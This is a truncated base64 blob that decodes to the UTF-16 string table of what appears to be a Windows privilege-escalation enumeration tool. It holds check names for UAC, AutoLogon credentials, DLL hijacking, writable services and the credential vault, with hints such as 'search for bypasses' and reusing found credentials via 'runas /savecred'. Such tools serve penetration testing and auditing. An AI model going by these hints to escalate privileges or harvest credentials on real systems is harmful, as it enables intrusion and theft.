ZQB0ACAAUwBlAHQAdABpAG4AZwBzAAAlRAByAGkAdgBlAHMAIABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAtUADEAMQAyADAAAICDUgBlAG0AZQBtAGIAZQByACAAdABoAGEAdAAgAHkAbwB1ACAAcwBoAG8AdQBsAGQAIABzAGUAYQByAGMAaAAgAG0AbwByAGUAIABpAG4AZgBvACAAaQBuAHMAaQBkAGUAIAB0AGgAZQAgAG8AdABoAGUAcgAgAGQAcgBpAHYAZQBzAAAbUABlAHIAbQBpAHMAcwBpAG8AbgBzAC4AKgAAJyAAIAAgACAAewAwAH0AIAAoAFQAeQBwAGUAOgAgAHsAMQB9ACkAABlWAG8AbAB1AG0AZQAgAGwAYQBiAGUAbAAAHygAVgBvAGwAdQBtAGUAIABsAGEAYgBlAGwAOgAgAAAVRgBpAGwAZQBzAHkAcwB0AGUAbQAAGygARgBpAGwAZQBzAHkAcwB0AGUAbQA6ACAAAB9BAHYAYQBpAGwAYQBiAGwAZQAgAHMAcABhAGMAZQAAJSgAQQB2AGEAaQBsAGEAYgBsAGUAIABzAHAAYQBjAGUAOgAgAAAJIABHAEIAKQAAHSgAUABlAHIAbQBpAHMAcwBpAG8AbgBzADoAIAAAHUEAVgAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAC1QAMQAwADYAMwAAWyAAIAAgACAAUwBvAG0AZQAgAEEAVgAgAHcAYQBzACAAZABlAHQAZQBjAHQAZQBkACwAIABzAGUAYQByAGMAaAAgAGYAbwByACAAYgB5AHAAYQBzAHMAZQBzAAAxIAAgACAAIABOAG8AIABBAFYAIAB3AGEAcwAgAGQAZQB0AGUAYwB0AGUAZAAhACEAABVVAEEAQwAgAFMAdABhAHQAdQBzAACA32gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHcAaQBuAGQAbwB3AHMALQBsAG8AYwBhAGwALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AIwBiAGEAcwBpAGMALQB1AGEAYwAtAGIAeQBwAGEAcwBzAC0AZgB1AGwAbAAtAGYAaQBsAGUALQBzAHkAcwB0AGUAbQAtAGEAYwBjAGUAcwBzAAGAhUkAZgAgAHkAbwB1ACAAYQByAGUAIABpAG4AIAB0AGgAZQAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAcwAgAGcAcgBvAHUAcAAgAGMAaABlAGMAawAgAGgAbwB3ACAAdABvACAAYgB5AHAAYQBzAHMAIAB0AGgAZQAgAFUAQQBDAAATRQBuAGEAYgBsAGUATABVAEEAAIDfIAAgACAAIAAgACAAWwAqAF0AIABFAG4AYQBiAGwAZQBMAFUAQQAgACEAPQAgADEALAAgAFUAQQBDACAAcABvAGwAaQBjAGkAZQBzACAAZABpAHMAYQBiAGwAZQBkAC4ADQAKACAAIAAgACAAIAAgAFsAKwBdACAAQQBuAHkAIABsAG8AYwBhAGwAIABhAGMAYwBvAHUAbgB0ACAAYwBhAG4AIABiAGUAIAB1AHMAZQBkACAAZgBvAHIAIABsAGEAdABlAHIAYQBsACAAbQBvAHYAZQBtAGUAbgB0AC4AADtMAG8AYwBhAGwAQQBjAGMAbwB1AG4AdABUAG8AawBlAG4ARgBpAGwAdABlAHIAUABvAGwAaQBjAHkAAIDhIAAgACAAIAAgACAAWwAqAF0AIABMAG8AYwBhAGwAQQBjAGMAbwB1AG4AdABUAG8AawBlAG4ARgBpAGwAdABlAHIAUABvAGwAaQBjAHkAIABzAGUAdAAgAHQAbwAgADEALgANAAoAIAAgACAAIAAgACAAWwArAF0AIABBAG4AeQAgAGwAbwBjAGEAbAAgAGEAYwBjAG8AdQBuAHQAIABjAGEAbgAgAGIAZQAgAHUAcwBlAGQAIABmAG8AcgAgAGwAYQB0AGUAcgBhAGwAIABtAG8AdgBlAG0AZQBuAHQALgAAMUYAaQBsAHQAZQByAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAVABvAGsAZQBuAACBSyAAIAAgACAAIAAgAFsAKgBdACAATABvAGMAYQBsAEEAYwBjAG8AdQBuAHQAVABvAGsAZQBuAEYAaQBsAHQAZQByAFAAbwBsAGkAYwB5ACAAcwBlAHQAIAB0AG8AIAAwACAAYQBuAGQAIABGAGkAbAB0AGUAcgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAFQAbwBrAGUAbgAgACEAPQAgADEALgANAAoAIAAgACAAIAAgACAAWwAtAF0AIABPAG4AbAB5ACAAdABoAGUAIABSAEkARAAtADUAMAAwACAAbABvAGMAYQBsACAAYQBkAG0AaQBuACAAYQBjAGMAbwB1AG4AdAAgAGMAYQBuACAAYgBlACAAdQBzAGUAZAAgAGYAbwByACAAbABhAHQAZQByAGEAbAAgAG0AbwB2AGUAbQBlAG4AdAAuAAGBJSAAIAAgACAAIAAgAFsAKgBdACAATABvAGMAYQBsAEEAYwBjAG8AdQBuAHQAVABvAGsAZQBuAEYAaQBsAHQAZQByAFAAbwBsAGkAYwB5ACAAcwBlAHQAIAB0AG8AIAAwACAAYQBuAGQAIABGAGkAbAB0AGUAcgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAFQAbwBrAGUAbgAgAD0APQAgADEALgANAAoAIAAgACAAIAAgACAAWwAtAF0AIABOAG8AIABsAG8AYwBhAGwAIABhAGMAYwBvAHUAbgB0AHMAIABjAGEAbgAgAGIAZQAgAHUAcwBlAGQAIABmAG8AcgAgAGwAYQB0AGUAcgBhAGwAIABtAG8AdgBlAG0AZQBuAHQALgABJXwARABlAGYAYQB1AGwAdABQAGEAcwBzAHcAbwByAGQALgAqAAARRABpAHMAYQBiAGwAZQBkAAALVQBzAGUAcgBzAAAjVAAxADAAOAA3ACYAVAAxADAANgA5ACYAVAAxADAAMwAzAACAr2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHcAaQBuAGQAbwB3AHMALQBsAG8AYwBhAGwALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AIwB1AHMAZQByAHMALQBhAG4AZAAtAGcAcgBvAHUAcABzAAFlQwBoAGUAYwBrACAAaQBmACAAeQBvAHUAIABoAGEAdgBlACAAcwBvAG0AZQAgAGEAZABtAGkAbgAgAGUAcQB1AGkAdgBhAGwAZQBuAHQAIABwAHIAaQB2AGkAbABlAGcAZQBzAAAhIAAgAEMAdQByAHIAZQBuAHQAIAB1AHMAZQByADoAIAAAJSAAIABDAHUAcgByAGUAbgB0ACAAZwByAG8AdQBwAHMAOgAgAAAxQwB1AHIAcgBlAG4AdAAgAFQAbwBrAGUAbgAgAHAAcgBpAHYAaQBsAGUAZwBlAHMAAAtUADEAMQAzADQAAICzaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHQAbwBrAGUAbgAtAG0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuAAF5QwBoAGUAYwBrACAAaQBmACAAeQBvAHUAIABjAGEAbgAgAGUAcwBjAGEAbABhAHQAZQAgAHAAcgBpAHYAaQBsAGUAZwBlACAAdQBzAGkAbgBnACAAcwBvAG0AZQAgAGUAbgBhAGIAbABlAGQAIAB0AG8AawBlAG4AAB1DAGwAaQBwAGIAbwBhAHIAZAAgAHQAZQB4AHQAAC0tAGMAbwBtAG0AYQBuAGQAIABHAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkAAGAuyAAIAAgACAAVABoAGkAcwAgAEMAIwAgAGkAbQBwAGwAZQBtAGUAbgB0AGEAdABpAG8AbgAgAHQAbwAgAGMAYQBwAHQAdQByAGUAIAB0AGgAZQAgAGMAbABpAHAAYgBvAGEAcgBkACAAaQBzACAAbgBvAHQAIAB0AHIAdQBzAHQAYQBiAGwAZQAgAGkAbgAgAGUAdgBlAHIAeQAgAFcAaQBuAGQAbwB3AHMAIAB2AGUAcgBzAGkAbwBuAACAxyAAIAAgACAASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAcwBlAGUAIAB3AGgAYQB0ACAAaQBzACAAaQBuAHMAaQBkAGUAIAB0AGgAZQAgAGMAbABpAHAAYgBvAGEAcgBkACAAZQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwBvAG0AbQBhAG4AZAAgACIARwBlAHQAIAAtACAAQwBsAGkAcABiAG8AYQByAGQAIgAnAAEZTABvAGcAZwBlAGQAIAB1AHMAZQByAHMAABdUADEAMAA4ADcAJgBUADEAMAAzADMAABlSAEQAUAAgAFMAZQBzAHMAaQBvAG4AcwAAVSAAIAAgACAAewAwACwALQAxADAAfQB7ADEALAAtADEANQB9AHsAMgAsAC0AMQA1AH0AewAzACwALQAyADUAfQB7ADQALAAtADEAMAB9AHsANQB9AAENUwBlAHMAcwBJAEQAABlwAFMAZQBzAHMAaQBvAG4ATgBhAG0AZQAAE3AAVQBzAGUAcgBOAGEAbQBlAAAXcABEAG8AbQBhAGkAbgBOAGEAbQBlAAARUwBvAHUAcgBjAGUASQBQAAATUwBlAHMAcwBpAG8AbgBJAEQAACNFAHYAZQByACAAbABvAGcAZwBlAGQAIAB1AHMAZQByAHMAAENMAG8AbwBrAGkAbgBnACAAZgBvAHIAIABBAHUAdABvAEwAbwBnAG8AbgAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAVyAAIAAgACAAUwBvAG0AZQAgAEEAdQB0AG8ATABvAGcAbwBuACAAYwByAGUAZABlAG4AdABpAGEAbABzACAAdwBlAHIAZQAgAGYAbwB1AG4AZAAhACEAACMgACAAIAAgAHsAMAAsAC0AMwAwAH0AOgAgACAAewAxAH0AASVIAG8AbQBlACAAZgBvAGwAZABlAHIAcwAgAGYAbwB1AG4AZAAAI1QAMQAwADgANwAmAFQAMQAwADgAMwAmAFQAMQAwADMAMwAAByAAOgAgAAAjUABhAHMAcwB3AG8AcgBkACAAUABvAGwAaQBjAGkAZQBzAAALVAAxADIAMAAxAABBQwBoAGUAYwBrACAAZgBvAHIAIABhACAAcABvAHMAcwBpAGIAbABlACAAYgByAHUAdABlAC0AZgBvAHIAYwBlAAFLSQBuAHQAZQByAGUAcwB0AGkAbgBnACAAUAByAG8AYwBlAHMAcwBlAHMAIAAtAG4AbwBuACAATQBpAGMAcgBvAHMAbwBmAHQALQABI1QAMQAwADEAMAAmAFQAMQAwADUANwAmAFQAMQAwADAANwAAgLFoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAcgB1AG4AbgBpAG4AZwAtAHAAcgBvAGMAZQBzAHMAZQBzAAGAxUMAaABlAGMAawAgAGkAZgAgAGEAbgB5ACAAaQBuAHQAZQByAGUAcwB0AGkAbgBnACAAcAByAG8AYwBjAGUAcwBzAGUAcwAgAGYAbwByACAAbQBlAG0AbQBvAHIAeQAgAGQAdQBtAHAAIABvAHIAIABpAGYAIAB5AG8AdQAgAGMAbwB1AGwAZAAgAG8AdgBlAHIAdwByAGkAdABlACAAcwBvAG0AZQAgAGIAaQBuAGEAcgB5ACAAcgB1AG4AbgBpAG4AZwAAHVAAZQByAG0AaQBzAHMAaQBvAG4AcwA6AC4AKgAAMVAAbwBzAHMAaQBiAGwAZQAgAEQATABMACAASABpAGoAYQBjAGsAaQBuAGcALgAqAAAFXAAoAAAFXAApAAADXQAABVwAXQAAA1sAAAVcAFsAAAM/AAAFXAA/AAADKwAABVwAKwAADVsAXgAiAF4AJwBdAAEjIAAgACAAIAB7ADAAfQAoAHsAMQB9ACkAWwB7ADIAfQBdAAALOgAgAHsAMwB9AAAbIAAtAC0AIABQAE8AdwBuADoAIAB7ADQAfQABDyAALQAtACAAewA1AH0AASsKACAAIAAgACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzADoAIAB7ADYAfQAAWwoAIAAgACAAIABQAG8AcwBzAGkAYgBsAGUAIABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACAAZgBvAGwAZABlAHIAOgAgAHsANwB9ACAAKAB7ADgAfQApAAAjQwBvAG0AbQBhAG4AZAAgAEwAaQBuAGUAOgAgAHsAOQB9AABJSQBuAHQAZQByAGUAcwB0AGkAbgBnACAAUwBlAHIAdgBpAGMAZQBzACAALQBuAG8AbgAgAE0AaQBjAHIAbwBzAG8AZgB0AC0AAQtUADEAMAAwADcAAICfaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHMAZQByAHYAaQBjAGUAcwABgNFDAGgAZQBjAGsAIABpAGYAIAB5AG8AdQAgAGMAYQBuACAAbwB2AGUAcgB3AHIAaQB0AGUAIABzAG8AbQBlACAAcwBlAHIAdgBpAGMAZQAgAGIAaQBuAGEAcgB5ACAAbwByACAAcABlAHIAZgBvAHIAbQAgAGEAIABEAEwATAAgAGgAaQBqAGEAYwBrAGkAbgBnACwAIABhAGwAcwBvACAAYwBoAGUAYwBrACAAZgBvAHIAIAB1AG4AcQB1AG8AdABlAGQAIABwAGEAdABoAHMAABlGAGkAbAB0AGUAcgBlAGQAUABhAHQAaAAAEVAAYQB0AGgATgBhAG0AZQAAESAAIAAgACAAewAwAH0AKAAAF0MAbwBtAHAAYQBuAHkATgBhAG0AZQAADXsAMQB9ACAALQAgAAEXRABpAHMAcABsAGEAeQBOAGEAbQBlAAAHewAyAH0AAAtbAHsAMwB9AF0AABNTAHQAYQByAHQATQBvAGQAZQAADSAALQAgAHsANAB9AAENIAAtACAAewA1AH0AAQ0gAC0AIAB7ADYAfQABDSAALQAgAHsANwB9AAE/CgAgACAAIAAgAFkAbwB1ACAAYwBhAG4AIABTAFQAQQBSAFQAIAB0AGgAaQBzACAAcwBlAHIAdgBpAGMAZQAARQoAIAAgACAAIABZAE8AVQAgAEMAQQBOACAATQBPAEQASQBGAFkAIABUAEgASQBTACAAUwBFAFIAVgBJAEMARQA6ACAAADUKACAAIAAgACAARgBpAGwAZQAgAFAAZQByAG0AaQBzAHMAaQBvAG4AcwA6ACAAewA4AH0AAHEKACAAIAAgACAAUABvAHMAcwBpAGIAbABlACAARABMAEwAIABIAGkAagBhAGMAawBpAG4AZwAgAGkAbgAgAGIAaQBuAGEAcgB5ACAAZgBvAGwAZABlAHIAOgAgAHsAOQB9ACAAKAB7ADEAMAB9ACkAAAl7ADEAMQB9AAAnRgBpAGwAZQAgAFAAZQByAG0AaQBzAHMAaQBvAG4AcwA6AC4AKgAAOU4AbwAgAHEAdQBvAHQAZQBzACAAYQBuAGQAIABTAHAAYQBjAGUAIABkAGUAdABlAGMAdABlAGQAAD1ZAE8AVQAgAEMAQQBOACAATQBPAEQASQBGAFkAIABUAEgASQBTACAAUwBFAFIAVgBJAEMARQA6AC4AKgAADyAAUwBUAEEAUgBUACAAACdNAG8AZABpAGYAaQBhAGIAbABlACAAUwBlAHIAdgBpAGMAZQBzAABHQwBoAGUAYwBrACAAaQBmACAAeQBvAHUAIABjAGEAbgAgAG0AbwBkAGkAZgB5ACAAYQBuAHkAIABzAGUAcgB2AGkAYwBlAABbIAAgACAAIABMAE8ATwBLAFMAIABMAEkASwBFACAAWQBPAFUAIABDAEEATgAgAE0ATwBEAEkARgBZACAAUwBPAE0ARQAgAFMARQBSAFYASQBDAEUALwBzADoAAAUuACoAAEMgACAAIAAgAFkAbwB1ACAAYwBhAG4AbgBvAHQAIABtAG8AZABpAGYAeQAgAGEAbgB5ACAAcwBlAHIAdgBpAGMAZQAAXUwAbwBvAGsAaQBuAGcAIABpAGYAIAB5AG8AdQAgAGMAYQBuACAAbQBvAGQAaQBmAHkAIABhAG4AeQAgAHMAZQByAHYAaQBjAGUAIAByAGUAZwBpAHMAdAByAHkAAIDJaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHMAZQByAHYAaQBjAGUAcwAtAHIAZQBnAGkAcwB0AHIAeQAtAHAAZQByAG0AaQBzAHMAaQBvAG4AcwABY0MAaABlAGMAawAgAGkAZgAgAHkAbwB1ACAAYwBhAG4AIABtAG8AZABpAGYAeQAgAHQAaABlACAAcgBlAGcAaQBzAHQAcgB5ACAAbwBmACAAYQAgAHMAZQByAHYAaQBjAGUAAA1cACgALgAqAFwAKQAAgIcgACAAIAAgAFsALQBdACAATABvAG8AawBzACAAbABpAGsAZQAgAHkAbwB1ACAAYwBhAG4AbgBvAHQAIABjAGgAYQBuAGcAZQAgAHQAaABlACAAcgBlAGcAaQBzAHQAcgB5ACAAbwBmACAAYQBuAHkAIABzAGUAcgB2AGkAYwBlAC4ALgAuAAEbIAAgACAAIAB7ADAAfQAgACgAewAxAH0AKQAAdUMAaABlAGMAawBpAG4AZwAgAHcAcgBpAHQAZQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAgAGkAbgAgAFAAQQBUAEgAIABmAG8AbABkAGUAcgBzACAAKABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACkAAICpaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAGQAbABsAC0AaABpAGoAYQBjAGsAaQBuAGcAAU9DAGgAZQBjAGsAIABmAG8AcgAgAEQATABMACAASABpAGoAYQBjAGsAaQBuAGcAIABpAG4AIABQAEEAVABIACAAZgBvAGwAZABlAHIAcwAAKSAAIAAgACAAKABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACkAIAAAQ0MAdQByAHIAZQBuAHQAIABBAGMAdABpAHYAZQAgAFcAaQBuAGQAbwB3ACAAQQBwAHAAbABpAGMAYQB0AGkAbwBuAAAXVAAxADAAMQAwACYAVAAxADUAMQA4AAArIAAgACAAIABGAGkAbABlAFAAZQByAG0AaQBzAHMAaQBvAG4AcwA6ACAAAAMsAABhIAAgACAAIABQAG8AcwBzAGkAYgBsAGUAIABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACwAIABmAG8AbABkAGUAcgAgAGkAcwAgAHcAcgBpAHQAYQBiAGwAZQA6ACAAAC8gACAAIAAgAEYAbwBsAGQAZQByAFAAZQByAG0AaQBzAHMAaQBvAG4AcwA6ACAAAH9JAG4AcwB0AGEAbABsAGUAZAAgAEEAcABwAGwAaQBjAGEAdABpAG8AbgBzACAALQAtAFYAaQBhACAAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAvAFUAbgBpAG4AcwB0AGEAbABsACAAcgBlAGcAaQBzAHQAcgB5AC0ALQABL1QAMQAwADgAMwAmAFQAMQAwADEAMgAmAFQAMQAwADEAMAAmAFQAMQA1ADEAOAAAgJ9oAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAcwBvAGYAdAB3AGEAcgBlAAFVQwBoAGUAYwBrACAAaQBmACAAeQBvAHUAIABjAGEAbgAgAG0AbwBkAGkAZgB5ACAAaQBuAHMAdABhAGwAbABlAGQAIABzAG8AZgB0AHcAYQByAGUAACUgACAAIAAgAD0APQA+ACAAIAB7ADAAfQAgACgAewAxAH0AKQAAGSAAIAAgACAAewAwAH0AKAB7ADEAfQApAAApQQB1AHQAbwByAHUAbgAgAEEAcABwAGwAaQBjAGEAdABpAG8AbgBzAAALVAAxADAAMQAwAACAq2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHcAaQBuAGQAbwB3AHMALQBsAG8AYwBhAGwALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AIwByAHUAbgAtAGEAdAAtAHMAdABhAHIAdAB1AHAAAWtDAGgAZQBjAGsAIABpAGYAIAB5AG8AdQAgAGMAYQBuACAAbQBvAGQAaQBmAHkAIABvAHQAaABlAHIAIAB1AHMAZQByAHMAIABBAHUAdABvAFIAdQBuAHMAIABiAGkAbgBhAHIAaQBlAHMAAB1GAG8AbABkAGUAcgBQAGUAcgBtAHMAOgAuACoAABlGAGkAbABlAFAAZQByAG0AcwA6AC4AKgAAOygAVQBuAHEAdQBvAHQAZQBkACAAYQBuAGQAIABTAHAAYQBjAGUAIABkAGUAdABlAGMAdABlAGQAKQAAGVIAZQBnAFAAZQByAG0AcwA6ACAALgAqAAAzbwB1AGkAZwB5AGUAdgBiADIAdQBpAHYAeQBkAGkAMgB1ADMAaQBkADIAZABkAGYAMwAAMWEAZAB1ADgAdgAyADkAOABoAGYAdQBiAGkAYgB1AGkAZABpAHkAMgA0ADIAMgByAABDbwA4AGEANwBlAGQAdQBpAGEAMwA3AGkAYgBkAHUAYQB1AG4AYgBmADcAYQA0AGcANwB1AGsAZABoAGsANAB1AGEAAB1SAGUAZwBQAGUAcgBtAGkAcwBzAGkAbwBuAHMAABkgACAAIAAgAEYAbwBsAGQAZQByADoAIAAAJQoAIAAgACAAIABGAG8AbABkAGUAcgBQAGUAcgBtAHMAOgAgAAAXCgAgACAAIAAgAEYAaQBsAGUAOgAgAAAJdAByAHUAZQAAPSAAKABVAG4AcQB1AG8AdABlAGQAIABhAG4AZAAgAFMAcABhAGMAZQAgAGQAZQB0AGUAYwB0AGUAZAApAAAhCgAgACAAIAAgAEYAaQBsAGUAUABlAHIAbQBzADoAIAAAHQoAIAAgACAAIABSAGUAZwBQAGEAdABoADoAIAAAHwoAIAAgACAAIABSAGUAZwBQAGUAcgBtAHMAOgAgAABRUwBjAGgAZQBkAHUAbABlAGQAIABBAHAAcABsAGkAYwBhAHQAaQBvAG4AcwAgAC0ALQBOAG8AbgAgAE0AaQBjAHIAbwBzAG8AZgB0AC0ALQABbUMAaABlAGMAawAgAGkAZgAgAHkAbwB1ACAAYwBhAG4AIABtAG8AZABpAGYAeQAgAG8AdABoAGUAcgAgAHUAcwBlAHIAcwAgAHMAYwBoAGUAZAB1AGwAZQBkACAAYgBpAG4AYQByAGkAZQBzAAAlIAAgACAAIAAoAHsAMAB9ACkAIAB7ADEAfQA6ACAAewAyAH0AADUKACAAIAAgACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzACAAZgBpAGwAZQA6ACAAewAzAH0AAFcKACAAIAAgACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzACAAZgBvAGwAZABlAHIAKABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACkAOgAgAHsANAB9AAAjCgAgACAAIAAgAFQAcgBpAGcAZwBlAHIAOgAgAHsANQB9AAARCgAgACAAIAAgAHsANgB9AAAdTgBlAHQAdwBvAHIAawAgAFMAaABhAHIAZQBzAAALVAAxADEAMwA1AAATIAAgACAAIAB7ADAAfQAgACgAABNQAGEAdABoADoAIAB7ADEAfQAAIyAALQAtACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzADoAIAABE0gAbwBzAHQAIABGAGkAbABlAAALVAAxADAAMQA2AABHXAB3AGkAbgBkAG8AdwBzAFwAcwB5AHMAdABlAG0AMwAyAFwAZAByAGkAdgBlAHIAcwBcAGUAdABjAFwAaABvAHMAdABzAAADCQAAPU4AZQB0AHcAbwByAGsAIABJAGYAYQBjAGUAcwAgAGEAbgBkACAAawBuAG8AdwBuACAAaABvAHMAdABzAABTVABoAGUAIABtAGEAcwBrAHMAIABhAHIAZQAgAG8AbgBsAHkAIABmAG8AcgAgAHQAaABlACAASQBQAHYANAAgAGEAZABkAHIAZQBzAHMAZQBzAAAvIAAgACAAIAB7ADAAfQBbAHsAMQB9AF0AOgAgAHsAMgB9ACAALwAgAHsAMwB9AAATCgAgACAAIAAgACAAIAAgACAAABVHAGEAdABlAHcAYQB5AHMAOgAgAAAHewA0AH0AAA1EAE4AUwBzADoAIAAAB3sANQB9AAAZSwBuAG8AdwBuACAAaABvAHMAdABzADoAAAkKAHsANgB9AAATLAAgADAALgAwAC4AMAAuADAAAC9DAHUAcgByAGUAbgB0ACAATABpAHMAdABlAG4AaQBuAGcAIABQAG8AcgB0AHMAABdUADEAMAA0ADkAJgBUADEAMAA0ADkAAF1DAGgAZQBjAGsAIABmAG8AcgAgAHMAZQByAHYAaQBjAGUAcwAgAHIAZQBzAHQAcgBpAGMAdABlAGQAIABmAHIAbwBtACAAdABoAGUAIABvAHUAdABzAGkAZABlAAARMAAuADAALgAwAC4AMAA6AAALWwA6ADoAXQA6AAA5IAAgACAAIAB7ADAALAAtADEAMAB9AHsAMQAsAC0AMgAzAH0AewAyACwALQAyADMAfQB7ADMAfQABHUYAaQByAGUAdwBhAGwAbAAgAFIAdQBsAGUAcwAAa1MAaABvAHcAaQBuAGcAIABvAG4AbAB5ACAARABFAE4AWQAgAHIAdQBsAGUAcwAgACgAdABvAG8AIABtAGEAbgB5ACAAQQBMAEwATwBXACAAcgB1AGwAZQBzACAAYQBsAHcAYQB5AHMAKQAALSAAIAAgACAAQwB1AHIAcgBlAG4AdAAgAFAAcgBvAGYAaQBsAGUAcwA6ACAAACcgACAAIAAgAHsAMAAsAC0AMgAzAH0AOgAgACAAIAAgAHsAMQB9AAEfIAAgACAAIABEAEUATgBZACAAcgB1AGwAZQBzADoAAF8gACAAIAAgACgAewAwAH0AKQB7ADEAfQBbAHsAMgB9AF0AOgAgAHsAMwB9ACAAewA0AH0AIAB7ADUAfQAgAGYAcgBvAG0AIAB7ADYAfQAgAC0ALQA+ACAAewA3AH0AATkKACAAIAAgACAARgBvAGwAZABlAHIAIABQAGUAcgBtAGkAcwBzAGkAbwBuAHMAOgAgAHsAOQB9AAATCgAgACAAIAAgAHsAMQAwAH0AAE9GAGkAbABlACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzAC4AKgB8AEYAbwBsAGQAZQByACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzAC4AKgAAL0QATgBTACAAYwBhAGMAaABlAGQAIAAtAC0AbABpAG0AaQB0ACAANwAwAC0ALQABKyAAIAAgACAAewAwACwALQAzADgAfQB7ADEALAAtADMAOAB9AHsAMgB9AAEtQwBoAGUAYwBrAGkAbgBnACAAVwBpAG4AZABvAHcAcwAgAFYAYQB1AGwAdAAAgNFoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAYwByAGUAZABlAG4AdABpAGEAbABzAC0AbQBhAG4AYQBnAGUAcgAtAHcAaQBuAGQAbwB3AHMALQB2AGEAdQBsAHQAAUVJAGQAZQBuAHQAaQB0AHkALgAqAHwAQwByAGUAZABlAG4AdABpAGEAbAAuACoAfABSAGUAcwBvAHUAcgBjAGUALgAqAAA3QwBoAGUAYwBrAGkAbgBnACAAQwByAGUAZABlAG4AdABpAGEAbAAgAG0AYQBuAGEAZwBlAHIAAA9VAHMAZQByADoALgAqAAALLwBsAGkAcwB0AAAVYwBtAGQAawBlAHkALgBlAHgAZQAAeUkAZgAgAGEAbgB5ACAAYwByAGUAZAAgAHcAYQBzACAAZgBvAHUAbgBkACwAIAB5AG8AdQAgAGMAYQBuACAAdQBzAGUAIABpAHQAIAB3AGkAdABoACAAJwByAHUAbgBhAHMAIAAvAHMAYQB2AGUAYwByAGUAZAAnAAFTIAAgACAAIABUAGgAaQBzACAAZgB1AG4AYwB0AGkAbwBuACAAaQBzACAAbgBvAHQAIAB5AGUAdAAgAGkAbQBwAGwAZQBtAGUAbgB0AGUAZAAuAACAmUkAZgAgAHkAbwB1ACAAdwBhAG4AdAAgAHQAbwAgAGwAaQBzAHQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABpAG4AcwBpAGQAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABNAGEAbgBhAGcAZQByACAAdQBzAGUAIAAnAGMAbQBkAGsAZQB5ACAALwBsAGkAcwB0ACcAAStTAGEAdgBlAGQAIABSAEQAUAAgAGMAbwBuAG4AZQBjAHQAaQBvAG4AcwAAKyAAIAAgACA